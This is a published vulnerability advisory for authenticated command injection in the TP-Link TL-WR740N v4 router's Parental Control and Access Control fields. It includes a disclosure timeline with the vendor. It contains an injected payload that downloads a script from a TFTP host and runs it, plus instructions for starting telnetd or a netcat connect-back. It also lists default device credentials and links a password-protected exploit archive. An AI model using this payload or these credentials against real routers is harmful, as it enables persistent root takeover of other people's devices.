# Exploit Title: TP-Link TL-WR740N v4 router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) arbitrary shell command execution
# Date: 08/03/2014
# Exploit Author: Christoph Kuhl
# Vendor Homepage: http://www.tp-link.com
# Software Link: http://www.tp-link.com.de/resources/software/TL-WR740N_V4_130529.zip
# Version: FW-Ver. 3.16.6 Build 130529 Rel.47286n
# Tested on: TP-Link TL-WR740N v4
Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34254.7z (Password: TP-P0wned-Link)
Vulnerability description:
The domain name parameters of the "Parental Control" and "Access
Control" features of the TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build
130529 Rel.47286n) router are prone to arbitrary shell command execution
as root for users who are authenticated against the web interface.
Each shell payload is restricted up to 28 bytes. The "Parental Control"
feature allows you to specify 8 domains (= 8 commands) so you have 8 x
28 = 244 bytes of shell commands. This is sufficient to post-load and
execute a shell script of arbitrary length from a tftp server.
Employing this method one can gain full control over the device when
post-loading a mightier busybox MIPS binary and executing telnetd or
using netcat to connect back. Default login credentials are known to be
root:5up, Admin:5up or ap71:.
Technical Cause:
The web interface and the whole routing logic on the device is
controlled by a single homebrew process (httpd) running as root.
This binary is employing various fopen() and system() calls in order to
configure the device.
One of these calls refers to a script (/tmp/wr841n/parent.sh) being
filled with user input data from the "Parental Control" mask.
...
iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source
00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls USER INPUT
HERE,return1 -j RETURN
iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source
00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls ANOTHER USER
INPUT HERE,return1 -j RETURN
...
The input data is only poorly checked by some JavaScript functions but
the server accepts most characters. Entering a shell command surrounded
by ';' will result in code execution:
...
iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source
00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls ;tftp -gr a
192.168.0.1;,;sh a;,return1 -j RETURN
...
The same goes for the Access Control Feature. The only difference is
that the script name is /tmp/wr841n/accessCtrl.sh.
The attack is persistent until resetting the parental control or access
control settings. After rebooting the device will execute the commands
again.
This vulnerability may or may not affect other TP-Link hardware and
software versions. However it was only tested against TP-Link TL-WR740N
v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) within the local network.
Exploit POC code description:
The exploit tries to load and execute a shell script called 'a' (for
attack) from the specified tftpd server. This is for the circumventing
the length restriction of 28 bytes and the fact that the preloaded
busybox binary is a bit restricted (no netcat and telnetd available).
The 'a' script then loads a mightier busybox (filename busyboxx) binary
from the tftp server specified in that 'a' script (default 192.168.0.1).
It also sets up a more comfortable environment and starts telnetd as
well as a ftp server.
You can then connect to the router via telnet and ftp.
The exploit code is written in C# (.NET 4.5) so you need .NET Framework
4.5 to execute it.
Usage:
ParentalControlExploit.exe [/a | /p] [RouterIp] [RouterWebIfaceUsername]
[RouterWebIfacePassword] [TFTPServerIp]
TP-Link TL-WR740N v4 parental control and access control exploit. 2014
by C. Kuhl.
Options:
/a Use Access Control Exploit
/p Use Parental Control Exploit
[RouterIp] IP of the target to attack (default 192.168.0.1)
[Username] Username of the Webinterface Login (default admin)
[Password] Username of the Webinterface Login (default admin)
[TFTPServer] TFTP Host where the 'a' shell file is hosted for execution
Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100
History of the flaw:
07/01/2014 - Found it
07/05/2014 - Notified TP Link via their Online Support Contact
form including detailed description and link to POC exploit
07/14/2014 - Got answer via mail that they could not reproduce the
flaw via the router's web interface and asked for more information.
07/26/2014 - Replied to TP-Link that one cannot reproduce the bug
via the router's web interface due to the javascript "check logic" and
that they need to either employ direct GET requests or use the provided
exploit
07/29/2014 - TP Link states that this was no security flaw because
the attacker had to know the credientials to the webinterface. It was
like giving the key to your flat to a housebreaker.
08/03/2014 - Publication
